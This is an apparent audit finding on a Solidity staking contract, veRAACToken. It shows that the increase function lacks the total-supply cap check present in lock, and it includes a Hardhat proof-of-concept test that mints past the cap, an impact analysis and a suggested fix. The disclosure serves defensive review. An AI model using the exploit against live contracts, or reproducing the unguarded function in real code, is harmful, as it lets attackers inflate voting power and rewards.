Summary
The veRAACToken::increase function allows users to increase their locked amount of RAAC tokens without enforcing the MAX_TOTAL_SUPPLY restriction, unlike veRAACToken::lock. This omission enables users to bypass the intended total supply cap, leading to an inflation of veRAAC tokens beyond the protocol’s designed limit. As a result, malicious users can manipulate governance voting power, unfairly claim more rewards, and destabilize the protocol's tokenomics.
Vulnerability Details
veRAACToken::increase allows a user with an existing lock to increase the amount they have locked. See below:
* @notice Increases the amount of locked RAAC tokens
* @dev Adds more tokens to an existing lock without changing the unlock time
* @param amount The additional amount of RAAC tokens to lock
*/
function increase(uint256 amount) external nonReentrant whenNotPaused {
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
userLock.amount + amount,
userLock.end
);
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}
For a user to increase a lock, they need to first create a lock with veRAACToken::lock:
* @notice Creates a new lock position for RAAC tokens
* @dev Locks RAAC tokens for a specified duration and mints veRAAC tokens representing voting power
* @param amount The amount of RAAC tokens to lock
* @param duration The duration to lock tokens for, in seconds
*/
function lock(uint256 amount, uint256 duration) external nonReentrant whenNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount > MAX_LOCK_AMOUNT) revert AmountExceedsLimit();
if (totalSupply() + amount > MAX_TOTAL_SUPPLY) revert TotalSupplyLimitExceeded();
if (duration < MIN_LOCK_DURATION || duration > MAX_LOCK_DURATION)
revert InvalidLockDuration();
raacToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 unlockTime = block.timestamp + duration;
_lockState.createLock(msg.sender, amount, duration);
_updateBoostState(msg.sender, amount);
(int128 bias, int128 slope) = _votingState.calculateAndUpdatePower(
msg.sender,
amount,
unlockTime
);
uint256 newPower = uint256(uint128(bias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
_mint(msg.sender, newPower);
emit LockCreated(msg.sender, amount, unlockTime);
}
There is a max supply implemented to set a maximum supply amount restriction on veRAACToken mints to ensure that the totalSupply doesn't exceed the specified amount.
uint256 private constant MAX_TOTAL_SUPPLY = 100_000_000e18;
This restriction is implemented when a user locks tokens as seen in veRAACToken::lock but the check is not enforced in veRAACToken::increase which allows for a situation where the total supply can exceed the expected amount with malicious users calling veRAACToken::lock with a small amount and then bypassing MAX_TOTAL_SUPPLY with veRAACToken::increase.
Proof Of Code (POC)
This test was run in the veRAACToken.test.js file in the "Lock Mechanism" describe block. For a successful test, temporarily set the MAX_TOTAL_SUPPLY variable to public visibility in veRAACToken.sol.
uint256 public constant MAX_TOTAL_SUPPLY = 100_000_000e18;
Also, increase the total amount of signers in the hardhat.config.cjs file as follows:
networks: {
hardhat: {
mining: {
auto: true,
interval: 0,
},
forking: {
url: process.env.BASE_RPC_URL,
},
chainId: 8453,
gasPrice: 120000000000,
allowBlocksWithSameTimestamp: true,
accounts: {
count: 50,
},
},
it("no max supply check when user is increasing lock amount", async () => {
const initialAmount = ethers.parseEther("100000000");
const initialLock = ethers.parseEther("1000");
const increaseAmount = ethers.parseEther("9999000");
const duration = 365 * 24 * 3600;
for (const user of users.slice(0, 21)) {
await raacToken.mint(user.address, initialAmount);
await raacToken
.connect(user)
.approve(await veRAACToken.getAddress(), MaxUint256);
await veRAACToken.connect(user).lock(initialLock, duration);
await veRAACToken.connect(user).increase(increaseAmount);
}
const totalSupply = await veRAACToken.totalSupply();
const maxTotalSupply = await veRAACToken.MAX_TOTAL_SUPPLY();
console.log("Total Supply: ", totalSupply);
console.log("Max Total Supply: ", maxTotalSupply);
assert(totalSupply > maxTotalSupply);
});
Impact
Voting Manipulation: Since veRAAC is used for governance, users can artificially increase their voting power beyond the intended limit, leading to unfair governance control.
Unfair Reward Distribution: Rewards may be incorrectly allocated due to an inaccurate total supply, reducing the rewards for honest users.
Economic Instability: Inflation of veRAAC tokens can devalue the token, affecting its market perception and utility.
Systemic Risk: If malicious actors continuously exploit this, it may destabilize governance mechanisms, affecting decision-making within the protocol.
Tools Used
Manual Review, Hardhat
Recommendations
To fix this vulnerability, enforce the max supply check inside veRAACToken::increase. Modify the function to verify that adding new locked tokens does not exceed MAX_TOTAL_SUPPLY before proceeding:
function increase(uint256 amount) external nonReentrant whenNotPaused {
uint256 newTotalSupply = totalSupply() + amount;
if (newTotalSupply > MAX_TOTAL_SUPPLY) revert TotalSupplyLimitExceeded();
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState
.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}